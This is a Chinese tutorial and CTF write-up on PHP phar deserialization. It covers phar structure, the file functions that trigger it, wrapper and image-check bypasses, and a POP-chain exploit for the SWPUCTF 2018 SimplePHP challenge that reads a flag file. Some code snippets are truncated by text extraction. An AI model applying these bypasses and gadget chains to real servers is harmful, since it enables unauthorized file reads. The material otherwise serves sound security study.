Phar反序列化

概念

phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。

phar文件默认状态是只读,使用phar文件不需要任何的配置。

而phar://伪协议即PHP归档,用来解析phar文件内容。

php文件结构

stub

一个供phar扩展用于识别的标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、contents

被压缩文件的内容。

4、signature

签名,放在文件末尾。

漏洞利用条件

  1. phar可以上传到服务器端(存在文件上传)

  2. 要有可用的魔术方法作为“跳板”。

  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

生成、使用phar文件

php.ini中需要设置 phar.readonly=off

startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("");
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
$phar->addFromString("test2.txt","test2");
$phar->stopBuffering();
?>

生成特殊的phar文件,使代码运行第六行,打印flag

num === 1){
            echo "flag{^_^}";
        }
    }
}
// unserialize($_GET['data']);

echo file_get_contents('phar://a.phar/test2.txt');
?>

phar文件中的metadata以序列化形式存储,解析phar文件时会进行反序列化操作。

startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($test);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
$phar->addFromString("test2.txt","test2");
$phar->stopBuffering();
?>

触发函数-文件相关函数

  • fimeatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
  • parse_ini_file
  • unlink
  • copy

其他触发函数

  • image
    • exif_thumbnail
    • exif_imagetype
    • imageloadfont
    • imagecreatefrom***
    • getimagesize
    • getimagesizefromstring
  • hash
    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • file / url
    • get_meta_tags
    • get_headers

bypass

绕过-不允许以phar://开头

  • compress.bzip://phar://a.phar/test1.txt
  • compress.bzip2://phar://a.phar/test1.txt
  • compress.zlib://phar://a.phar/test1.txt
  • php://filter/resource=phar://a.phar/test1.txt
  • php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过-图片检查

  • phar文件名可以修改后缀,a.phar可以改成a.png,a.gif,a.jpg
  • 文件开头添加GIF89a,伪装成gif图片

$phar->setStub("GIF89a");

[SWPUCTF 2018]SimplePHP 

upload_file.php作用:上传文件并且经function.php判断。

index.php
file.php
There is no file to show!

"; } $show = new Show(); //show的一个类 if(file_exists($file)) { //该函数存在phar反序列化 $show->source = $file; $show->_show(); //调用Show类的_show()方法 } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下,且我们是可以进入upload下的。 

function.php
alert("上传成功!");'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>

class.php
 str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

$show = new Show();  //show的一个类
if(file_exists($file)) {  //该函数存在phar反序列化
    $show->source = $file;
    $show->_show();  //调用Show类的_show()方法
}

pop分析:

先找漏洞点。

我们先找一下可以读取文件或者可以执行shell的地方,在Test类中file_get中可以读取文件。

   public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

Test类
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$value,file_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。

 public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,而__get又可以通过Show类中的__toString触发

 public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

访问对象的source属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__toString的触发,看C1e4r类中的__destruct

__toString可以通过C1e4r.__destruct中的echo来触发,并且__destruct中的test可以通过__construct中str获取。

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

最终:C1e4r::_destrucr->Show::_toString->Test::_get()->Test::file_get()

pop链

str = $b;  //触发__tostring
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$b->str['str'] = $c;  //触发__get;


$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a); //触发类是C1e4r类
$phar->addFromString("text.txt", "test"); //签名
$phar->stopBuffering();

?>

注:我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。

所以是params[‘source’]。

 生成phar文件后,发现对文件后缀进行了限制。我们抓包修改phar文件后缀为jpg绕过,上传。

上传成功之后可以在upload目录下看到上传的文件

复制下文件名,用phar协议触发使得phar文件生效。

在file.php中传入。其中file_exists检查文件或目录是否存在,存在则调用_show函数,也就是class.php中的_show()。这样就输出了我们file_get_contens()的flag的base64编码,解码得到flag。

你可能感兴趣的:(php,php,开发语言)